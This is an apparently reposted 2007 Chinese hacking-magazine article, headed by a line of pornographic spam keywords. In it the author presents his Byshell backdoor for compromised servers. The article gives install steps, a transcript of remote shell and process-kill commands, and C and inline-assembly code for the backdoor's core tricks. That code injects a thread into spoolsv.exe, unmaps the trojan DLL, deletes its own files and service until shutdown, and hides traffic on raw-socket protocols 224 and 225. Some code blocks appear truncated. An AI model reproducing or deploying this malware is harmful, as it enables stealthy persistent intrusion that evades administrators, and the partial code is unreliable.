欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Byshell后門:無進程無DLL無硬盤文件

 更新時間:2007年01月16日 00:00:00   作者:  
適合讀者:入侵愛好者、網(wǎng)絡(luò)管理員、黑器迷 
前置知識:C基本語法 
劉流:后門是黑客們永恒的話題,在各大網(wǎng)站如163、Yahoo、北大等相繼被黑之后,越來越多的人開始關(guān)注服務(wù)器的安全,而各種后門技術(shù)也空前地火暴起來!今天我們將給大家?guī)硪粋€重量級后門的使用、編程方法,讓廣大新手朋友們有好后門玩,讓編程技術(shù)愛好者有好的后門編程技術(shù)可以借鑒。當(dāng)然,更多的新技術(shù)還等你去發(fā)掘。 

Byshell后門:無進程無DLL無硬盤文件無啟動項 


  現(xiàn)在網(wǎng)絡(luò)上流行的木馬后門類工具很多,但可以稱為精品的則沒有多少,大多數(shù)新手們還在使用Radmin一類的軟件來替代后門程序。不幸的是,它們并不是一個真正的后門,極容易服務(wù)器管理員察覺,因此肉雞經(jīng)常飛掉也就很正常了。 

    一個合格的后門至少應(yīng)該做到不能有陌生進程存在于任務(wù)管理器里,給后門進程起一個看起來像系統(tǒng)進程的名字只是掩耳盜鈴;不能在注冊表Run啟動項或者服務(wù)啟動項里留下眾所周知的啟動鍵值或新增服務(wù),當(dāng)然更不能直接寫開始菜單的啟動項;不能如同無視管理員或者防火墻一般明目張膽地打開陌生端口;像Bits.dll那樣等待連接時無端口,連接時開端口的程序,在端口檢查時只有30%的幾率能逃脫。另外后門最好能隱藏自己生成的文件,或者避免感染一些管理員經(jīng)常檢查完整性的系統(tǒng)文件。前三點沒有做到的后門程序不是一個“比較高級”的后門程序,當(dāng)然在使用的時候也就沒有穩(wěn)定性、保密性可言了。 
    按照我的分類,現(xiàn)在常見的后門大概可以分成三個“級別”: 
    ★應(yīng)用級。如WinShell、Radmin、冰河等,它們基本沒有采取別的方法來隱藏自己,只是一個普通的能夠?qū)崿F(xiàn)遠程控制的應(yīng)用程序而已。 
    ★系統(tǒng)級。多多少少采用了一些Ring3下隱藏行蹤的編程技術(shù),用得少的比如Bits.dll,Portless,用得多的比如Hxdef。 

小提示:Hxdef雖然有一個驅(qū)動,但是它對系統(tǒng)的Hook全都是Ring3的,因此大家傾向于稱它為系統(tǒng)級而非內(nèi)核級后門。 

    ★內(nèi)核級,后門主要部分工作在Ring0,因此有很強的隱蔽性和殺傷力。但是公布的完整的內(nèi)核級后門數(shù)量不多,兼容性也不近人意。這個話題在Phrack和Rootkit.com上有很多有價值的討論和成果公布。 
    我在自己寫的系統(tǒng)級后門Byshell v0.64中盡力做到以上的要求,然而由于個人能力有限,功能的實現(xiàn)不夠全面、穩(wěn)定,希望大家能給我提好的意見或者替我升級版本。在這篇文章中我將和大家討論這個開源后門的設(shè)計、實現(xiàn),當(dāng)然還有實際的應(yīng)用舉例,希望高手不要扔板磚,大家一起討論。 

應(yīng)用舉例 
這是一個實現(xiàn)了無進程、無DLL、無硬盤文件、無啟動項的后門程序。利用線程注射DLL到系統(tǒng)進程,解除DLL映射并刪除自身文件和啟動項,關(guān)機時恢復(fù)。大量地借鑒和學(xué)習(xí)了農(nóng)民Cmdbind2的思想,在這里對農(nóng)民前輩無私共享的精神致以120分感謝。我允許此軟件及其源代碼自由傳播,但引用時應(yīng)注明出處。在聯(lián)系作者并得到同意之前,不得將此軟件改編或刪選后用作商業(yè)用途,可用作學(xué)習(xí)和私人用途。 
Byshell 0.64支持的命令列表如下:cmd,shell,endshell,chpass,byver,sysinfo,pslist,pskill,modlist,get,put,reboot,dettach,popmsg,SYN,queryDOS,endDOS,refresh等,具體用法請查看說明書。 

小提示:說明書上遺漏了refresh命令,它的作用是清除死掉的連接,并且給你機會重新連接,也可以在你換了一個IP以后,清除原來的連接(否則不能正常連接)。 

安裝后門時只要把Ntboot.exe和Ntboot.dll上傳到肉雞同一目錄并且執(zhí)行“ntboot.exe –install”即可,安裝完成后可手動刪除Ntboot.exe和Ntboot.dll,連接的時候用By064cli.exe。注意Byshell v0.64不支持本機對本機測試,v 0.63可以?,F(xiàn)在我用v 0.63演示一下使用的效果: 
1.連接: 
please input the server ip address 
127.0.0.1 
127.0.0.1 will be connected 
input the password(the default one is 'by') 
by 
#cmddir c: 
 驅(qū)動器 C 中的卷沒有標簽。 
 卷的序列號是 CCB2-D751 

 c: 的目錄 

2005-01-29  14:22       <DIR>          Documents and Settings 
2004-10-01  19:24       <DIR>          Inetpub 
2004-11-17  20:56       <DIR>          Intel 
2004-10-30  14:18               24,576 isapilog.dll 
2004-11-11  00:55               24,576 magic_asp.dll 
2005-02-07  21:47       <DIR>          My Music 
2004-12-21  00:05                  124 Operate.ini 
2005-01-18  22:38       <DIR>          Program Files 
2005-02-07  23:31       <DIR>          ubackup 
2005-02-02  17:54       <DIR>          WINNT 
               3 個文件         49,276 字節(jié) 
               7 個目錄    124,207,104 可用字節(jié) 
2.獲得并結(jié)束Shell: 
#shell 
Microsoft Windows 2000 [Version 5.00.2195] 
(C) 版權(quán)所有 1985-2000 Microsoft Corp. 

C:WINNTsystem32>cd.. 
cd.. 

C:WINNT>cd.. 
cd.. 

C:>dir 
dir 
 驅(qū)動器 C 中的卷沒有標簽。 
 卷的序列號是 CCB2-D751 

 C: 的目錄 

……省略 
               3 個文件         49,276 字節(jié) 
               7 個目錄    124,207,104 可用字節(jié) 

C:>endshell 
shell terminated 
#byver 
ByShell server version 0.63 
Released Dec 19,2004 Copyleft@ "by" co.ltd. 
3.進程列舉與Kill。這里有BUG,排列不整齊。 
#pslist 
process: 
pid     filename        num_thread      parentpid 
8       System  43      0 
184     smss.exe        6       8 
208     csrss.exe       11      184 
232     winlogon.exe    19      184 
260     services.exe    31      232 
272     lsass.exe       17      232 
456     svchost.exe     11      260 
488     SPOOLSV.EXE     14      260 
524     msdtc.exe       21      260 
636     svchost.exe     18      260 
656     llssrv.exe      9       260 
688     sqlservr.exe    28      260 
776     winmgmt.exe     3       260 
812     dfssvc.exe      2       260 
832     inetinfo.exe    29      260 
856     mssearch.exe    6       260 
1224    svchost.exe     11      260 
1176    explorer.exe    19      1172 
1356    igfxtray.exe    2       1176 
1404    PFWMain.exe     4       1176 
1412    SOUNDMAN.EXE    2       1176 
1428    realsched.exe   4       1176 
1436    internat.exe    1       1176 
1444    sqlmangr.exe    3       1176 
1280    BitComet.exe    9       1176 
328     notepad.exe     2       1176 
1196    MDM.EXE 5       456 
1512    conime.exe      1       1088 
1520    cmd.exe 1       488 
1504    by063cli.exe    1       1176 
#pskill1428 
OK,job was done,cuz we have localsystem & SE_DEBUG_NAME:) 
#modlist1520 

mods of 1520: 
module_id       module_name     module_path 
1       ntdll.dll       C:WINNTSystem32ntdll.dll 
1       KERNEL32.dll    C:WINNTsystem32KERNEL32.dll 
1       USER32.dll      C:WINNTsystem32USER32.dll 
1       GDI32.DLL       C:WINNTsystem32GDI32.DLL 
1       ADVAPI32.dll    C:WINNTsystem32ADVAPI32.dll 
1       RPCRT4.DLL      C:WINNTsystem32RPCRT4.DLL 
1       MSVCRT.dll      C:WINNTsystem32MSVCRT.dll 
1       IMM32.DLL       C:WINNTSystem32IMM32.DLL 

好了,就介紹這三個最普通的功能吧。其實在很多場合,這三個功能是最基本的功能,也是最難確保穩(wěn)定性的三個問題疑難,不過這個后門最突出的特色應(yīng)該是無進程、無DLL、無硬盤文件、無啟動項的實現(xiàn),在實際的使用過程中相信大家會發(fā)現(xiàn)它的優(yōu)點,下面我們從設(shè)計和編程的角度來看這些功能是如何實現(xiàn)的。 

設(shè)計&編程 
    在這一部分中我不列舉完整的代碼,因為它太長了,我將引用關(guān)鍵代碼來說明編寫思路。 
首先是怎樣隱藏自身的進程?一個普遍采用的方法就是遠程線程注射。但它最大的問題是注射代碼到了遠程進程的地址空間后,由于地址空間的變化,依賴于原來地址空間的所有直接尋址指令需要重定位。這點對匯編老手來手是很容易理解的,對高級語言程序編寫者來說這意味著所有顯式和非顯式的全局變量(如API地址和字符串)都需要進行手工重定位。 
相比于病毒程序,我們很幸福,因為我們的的注射器可以同時向遠程進程注射一個“全局變量塊”,再把這個塊的地址傳送到遠程函數(shù),然后在遠程函數(shù)中使用這個塊來替代直接尋址的全局變量,從而免于編寫完全“自身可重定位”的代碼。后者被認為是非常煩瑣并且?guī)缀鯚o法用高級語言實現(xiàn)的。但即使是這樣,編寫可以重定位的代碼復(fù)雜度仍然比較大,寫功能模塊比較多的后門程序?qū)浅@邸^r(nóng)民前輩的Cmdbind2實現(xiàn)了完全手工重定位的注射后門,我們看他的源代碼可以發(fā)現(xiàn)他僅僅在實現(xiàn)最普通的Bind Shell上就花費了很多代碼,像ByShell v0.64這樣的功能復(fù)雜的后門,如果也這樣實現(xiàn)功能的話,無疑是難以想象的。 
    取代直接編寫可重定位代碼的普遍方法是在注射進入遠程進程的函數(shù)中加載一個DLL,這樣的話系統(tǒng)將為你做重定位工作,后門主要功能實現(xiàn)在DLL中。例如以前的黑防中,單長虹介紹過這種方法。這種方法也有一個小弊端就是管理員在審核被你注射的進程時會發(fā)現(xiàn)一個不明的DLL從而導(dǎo)致后門暴露。農(nóng)民前輩提出了一種思路,先加載DLL,然后把這一塊內(nèi)存全部拷貝到其它地方,卸載DLL,再申請與原來加載DLL相同的地址空間,把其它地方“寄存”的DLL代碼拷貝回這個空間。然后直接調(diào)用這個DLL,就解決了所有的重定位問題,還不會在被注射進程的加載模塊列表里出現(xiàn)我們的DLL。農(nóng)民前輩并沒有實現(xiàn)他的想法為代碼,一會給出我用這種方法實現(xiàn)的主要代碼。 
    進行比較討論時我們也來討論其它的系統(tǒng)級隱藏進程方法。Bingle采用替代Svchost啟動的DLL服務(wù)的方法來加載后門,ZXshell也使用了這種方法。這種方法的主要問題是不穩(wěn)定,必須改寫注冊表敏感鍵值并在Svchost.exe的加載模塊中出現(xiàn)不明模塊。當(dāng)然如果用和原來同名的木馬DLL來替代原來的DLL可以避免以上問題,但是又會遇到新的問題,就是怎樣繞過Windows的系統(tǒng)文件保護和管理員例行的系統(tǒng)文件完整性檢查。 
    Hxdef統(tǒng)一采用Hook ring3 API(主要是Ntdll.dll的NativeAPI)的方法完成自身各個方面的隱藏。這種方法對于一般的Ring3檢查效果很好,并且可以部分實現(xiàn)端口復(fù)用。它的主要問題有Ring3下Hook的手段不多,而且比較“興師動眾”(Hxdef向系統(tǒng)中所有進程注射木馬數(shù)據(jù)),效果還不是很好,極易被Ring0的RootKit Detector發(fā)現(xiàn),如ICESWORD。最后還有就是編程煩瑣。 
    我選用了注射遠程進程Spoolsv.exe,假脫機打印服務(wù)的方法,并且在注射到遠程的函數(shù)中加載然后卸載了一個木馬DLL——Ntboot.dll,注射器則是Ntboot.exe。請看代碼: 

void injcode(){HANDLE prohandle;//注射對象進程句柄 
DWORD pid=0;//對象進程PID 
int ret; //臨時變量 

//使用toolhelp32函數(shù)得到注射對象PID 
Sleep(1000); 
HANDLE snapshot; 
snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); 
struct tagPROCESSENTRY32 processsnap; processsnap.dwSize=sizeof(tagPROCESSENTRY32); 
char injexe[]="spoolsv.exe";//注射對象進程,大家可以自己改 
for(Process32First(snapshot,&processsnap); 
Process32Next(snapshot,&processsnap);) 

CloseHandle(snapshot);//得到PID 
//取得SE_DEBUG_NAME權(quán)限 
HANDLE hToken; 
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken); 
TOKEN_PRIVILEGES tp; 
tp.PrivilegeCount = 1; 
LookupPrivilegeValue(NULL, SE_DEBUG_NAME,&tp.Privileges[0].Luid); 
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; 
AdjustTokenPrivileges(hToken,0,&tp, sizeof(tp),0,0); 
//現(xiàn)在注射 
prohandle=OpenProcess(PROCESS_ALL_ACCESS,1,pid); 
DWORD WINAPI injfunc(LPVOID);//Injfunc就是注射的函數(shù),需要手工重定位 
//下面取得需要用的API地址并寫進將要注射的全局變量塊,Injapistr是全局結(jié)構(gòu),是全局變量塊的內(nèi)容 
HMODULE hModule; 
LPVOID paramaddr;//全局變量塊地址 
hModule=LoadLibrary("kernel32.dll"); 
injapistr.myLoadLibrary=(struct HINSTANCE__ *(__stdcall *)(const char *))GetProcAddress(hModule,"LoadLibraryA"); 
injapistr.myGetProcAddress=(FARPROC (__stdcall*)(HMODULE,LPCTSTR))GetProcAddress(hModule,"GetProcAddress"); 
injapistr.myVirtualAlloc=(void *(__stdcall *)(void *,unsigned long,unsigned long,unsigned long))GetProcAddress(hModule,"VirtualAlloc"); 
injapistr.myFreeLibrary=(int (__stdcall *)(struct HINSTANCE__ *))GetProcAddress(hModule,"FreeLibrary"); 
injapistr.myIsBadReadPtr=(int (__stdcall *)(const void *,unsigned int))GetProcAddress(hModule,"IsBadReadPtr"); 
injapistr.myVirtualFree=(int (__stdcall *)(void *,unsigned long,unsigned long))GetProcAddress(hModule,"VirtualFree"); 
//在目標進程里分配“全局變量塊”,并寫入API地址 
paramaddr=VirtualAllocEx(prohandle,0,sizeof(injapistr),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); 
ret=WriteProcessMemory(prohandle,paramaddr,&injapistr,sizeof(injapistr),0); 
//寫入Injfunc函數(shù) 
void* injfuncaddr=VirtualAllocEx(prohandle,0,20000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); 
ret=WriteProcessMemory(prohandle,injfuncaddr,injfunc,20000,0); 
//激活遠程線程 
CreateRemoteThread(prohandle,0,0,(DWORD (WINAPI *)(void *))injfuncaddr,paramaddr,0,0); 
CloseHandle(prohandle); 
return; 

//注射到遠程的函數(shù),負責(zé)完成加載和卸載功能復(fù)雜的木馬DLL的艱巨任務(wù) 
DWORD WINAPI injfunc(LPVOID paramaddr){ 
//paramaddr,全局變量塊首址。所有靜態(tài)全局變量都需要重定位(直接尋址的),而動態(tài)分配(堆,Virtualalloc)和棧變量不需要,因為他們使用間接尋址。其實字符串也可以在剛才寫進全局變量塊,但是字符串不多,這里直接用ASM搞定。 
char ntboot[16]; 
char msgbox[16];//變量名字起錯了,應(yīng)該是DLL的后門主函數(shù)名。汗,希望不要誤導(dǎo)大家。 
INJAPISTR * pinjapistr=(INJAPISTR *)paramaddr; 
__asm{  
mov ntboot,'n' 
mov ntboot+1,'t' 
mov ntboot+2,'b' 
mov ntboot+3,'o' 
mov ntboot+4,'o' 
mov ntboot+5,'t' 
mov ntboot+6,'.' 
mov ntboot+7,'d' 
mov ntboot+8,'l' 
mov ntboot+9,'l' 
mov ntboot+10,0 
mov msgbox,'C' 
mov msgbox+1,'m' 
mov msgbox+2,'d' 
mov msgbox+3,'S' 
mov msgbox+4,'e' 
mov msgbox+5,'r' 
mov msgbox+6,'v' 
mov msgbox+7,'i' 
mov msgbox+8,'c' 
mov msgbox+9,'e' 
mov msgbox+10,0 

HMODULE hModule=pinjapistr->myLoadLibrary(ntboot);//加載Ntboot.dll 
DWORD (WINAPI *myCmdService)(LPVOID);//DLL后門的主函數(shù)名  
myCmdService=(DWORD (WINAPI *)(LPVOID))(pinjapistr->myGetProcAddress(hModule,msgbox)); 
//各位看官,以下是精華了: 
unsigned int memsize=0; 
void * tempdll=pinjapistr->myVirtualAlloc(0,0x23000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); 
memcpy(tempdll,hModule,0x23000); 
//0x23000是DLL的大小,不多不少。如果你改變了Ntboot.dll的大小請注意調(diào)整這個值 
pinjapistr->myFreeLibrary(hModule); 
hModule=(HMODULE)pinjapistr->myVirtualAlloc(hModule,0x23000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); 
memcpy(hModule,tempdll,0x23000); 
pinjapistr->myVirtualFree(tempdll,0x23000,MEM_DECOMMIT); 
//結(jié)束,DLL沒有被加載,但是又可以發(fā)揮作用,爽吧?! 
myCmdService(0);//調(diào)用后門主函數(shù)。 
return 0; 

    下一個問題是啟動項和文件。Ntboot.exe是后門的注射器,將自己作為服務(wù)啟動,我們決不能讓管理員發(fā)現(xiàn)服務(wù)鍵值。怎么辦?這個也是農(nóng)民前輩提出的思想:先刪除所有后門文件和服務(wù),設(shè)定一個關(guān)機通知和一個一鍵關(guān)機鉤子,在即將關(guān)機的時候?qū)懭胛募头?wù)項。同樣的,一開機這個服務(wù)只要啟動了就會先把自己刪除。這樣就實現(xiàn)了無文件和無啟動項。管理員用注冊表對比將不能發(fā)現(xiàn)異常,也無處尋找我們的后門文件。看一下設(shè)定一個關(guān)機通知和一個一鍵關(guān)機鉤子的代碼: 

DWORD WINAPI hookthread( LPVOID lpParam ){ 
MSG msg;int tmpret;char tmpstr[100]; 
LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam); 
msghook=SetWindowsHookEx(WH_JOURNALRECORD,JournalRecordProc,GetModuleHandle(0),0); 
if(!msghook) 
tmpret=SetConsoleCtrlHandler(HandlerRoutine,1); 
if(!tmpret) 
while (GetMessage(&msg, NULL, 0, 0)){void resume(); 
if(msg.message==WM_QUERYENDSESSION) 

UnhookWindowsHookEx(msghook); 
return 0; 


BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){void resume(); 
switch(dwCtrlType) 

case CTRL_SHUTDOWN_EVENT: 
resume();//resume函數(shù),顧名思義就是恢復(fù)文件啟動項 
break; 
default: 
break; 

return 0; 


LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam){void resume(); 
if(code<0){return CallNextHookEx(msghook,code,wParam,lParam);} 
if(code==HC_ACTION){ 
 EVENTMSG * pevent=(EVENTMSG *)lParam; 
 if(pevent->message==WM_KEYDOWN && LOBYTE(pevent->paramL)==0xFF) 

return CallNextHookEx(msghook,code,wParam,lParam); 


    與Hxdef的Hook文件注冊表的Native API相比,這種辦法的好處是根本就不存在文件,也不會有什么Ring0的Rootkit Detector發(fā)現(xiàn)被Hook API隱藏的文件和注冊表項。壞處是如果對方直接拔電源關(guān)機我們就“安息”了。于是我們就會安慰自己說:這個后門有足夠的隱蔽性,不會讓對方懷疑到中了后門,以至于采用掉電關(guān)機的BT手段。當(dāng)然如果你用Hxdef,那么相信我,現(xiàn)在的Rootkit Detector很普遍,Hxdef已經(jīng)成為眾矢之的了,在管理員檢查時也會“安息”得很快的。 
    最后是怎樣實現(xiàn)無端口(像用Rootkit隱藏掉端口那種不叫無端口。那種東西不但無法穿過防火墻還會在管理員掃描自己的機器時暴露),這是Byshell v0.64的弱項,Ring3后門本來難有什么好辦法來進行端口復(fù)用,使用Raw_socket監(jiān)聽TCP只能做到Bits.dll那樣的“等待連接時無端口”;把自己加載成SPI基礎(chǔ)服務(wù)提供者或者分層服務(wù)提供者,可以截獲所有Ring3網(wǎng)絡(luò)通訊,但會在注冊表和系統(tǒng)中留下足夠多的信息從而導(dǎo)致我們后門“安息”。Hxdef的Hook系統(tǒng)中所有進程的Recv/WSArecv方法雖然有不能復(fù)用Ring0端口如139,445的弊端,但還是現(xiàn)在看來比較好的Ring3端口復(fù)用的辦法。到現(xiàn)在為止,Byshell采取的方法是使用Socket_raw的自定義協(xié)議,就是非TCP非UDP協(xié)議進行通訊,可以穿越大多軟件防火墻和一些硬件防火墻,但是它的弊端是不保證穿過所有防火墻,并且不支持Windows XP SP2,因為后者取消了對Socket_raw的支持。我的實現(xiàn)比較簡單,就是用一個協(xié)議號224監(jiān)聽連接和刷新,另一個協(xié)議號225傳輸后門數(shù)據(jù),很簡單: 
WSADATA WSAData; 
WSAStartup(MAKEWORD(2,2),&WSAData); 
SOCKET sock224=socket(AF_INET,SOCK_RAW,224); 
sockaddr_in srvaddr; 
memset(&srvaddr,0,sizeof(struct sockaddr_in)); 
srvaddr.sin_family= AF_INET; 
srvaddr.sin_addr.S_un.S_addr =INADDR_ANY; 
ret=bind(sock224,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr)); 
if(ret){goto label2;} 
dwThreadId=0;char buff224[128]; 
DWORD WINAPI threadfunc( LPVOID lpParam ); 
HANDLE thrdhndl; 
//建立225的連接線程 
thrdhndl=CreateThread(0, 0, threadfunc, 0, 0, &dwThreadId); 
//等待刷新 
while(1){recvfrom(sock224,buff224,128,0,0,0); 
if(!strncmp(buff224+32+sizeof(IP_HEADER),"+_)(*&^%$#@!~byrefreshbreak",27) && !strncmp(buff224+sizeof(IP_HEADER),pwd,strlen(pwd))){ 
 TerminateThread(thrdhndl,0);goto label1;} 

    在225的代碼里我實現(xiàn)了簡單的差錯控制,代碼比較長這里不列舉了,有興趣的朋友請看源代碼。由于這個復(fù)用方法不是非??煽俊⒎€(wěn)定,所以我公布了Byshell v0.63,它直接開了一個TCP端口138,完全不符合后門要求,但是給大家用來作測試還是可以的。如果大家發(fā)現(xiàn)Byshell v0.64不是很穩(wěn)定可以試試v0.63。不過一個嚴重的失誤是我在Byshell v0.64的說明書里漏了一個命令“refresh”,它可以清除萬一出現(xiàn)的225連接死掉,并且給你機會重新連接。 
    最后就是Byshell實現(xiàn)了非常多的命令,比如查看系統(tǒng)信息、執(zhí)行命令、在后門連接中上傳下載,甚至還有SYN洪水攻擊。后門的功能模塊是Work()函數(shù),這樣便于進行功能拓展和模塊化編程。針對它端口復(fù)用不理想的現(xiàn)狀,我會繼續(xù)升級。以后可能寫成Hxdef那樣的Ring3復(fù)用,也可能是Ring0的過濾驅(qū)動之類的東西,也希望前輩們繼續(xù)指導(dǎo)我。 
我的代碼風(fēng)格并不好,喜歡不分行和緊湊代碼,不過還是希望大家一起來開發(fā)這個軟件。在這個后門的寫作中,3個人給了我很大的幫助,請允許我占用篇幅來表示對他們的感謝。他們是谷夕(gxisone),黃鑫(glacier),當(dāng)然還有農(nóng)民,這個后門應(yīng)該是他們的功勞。 
如果有問題或者想和我交流,請Mail到baiyuanfan@163.com,謝謝大家對ByShell和我的關(guān)注和支持。 

相關(guān)文章

最新評論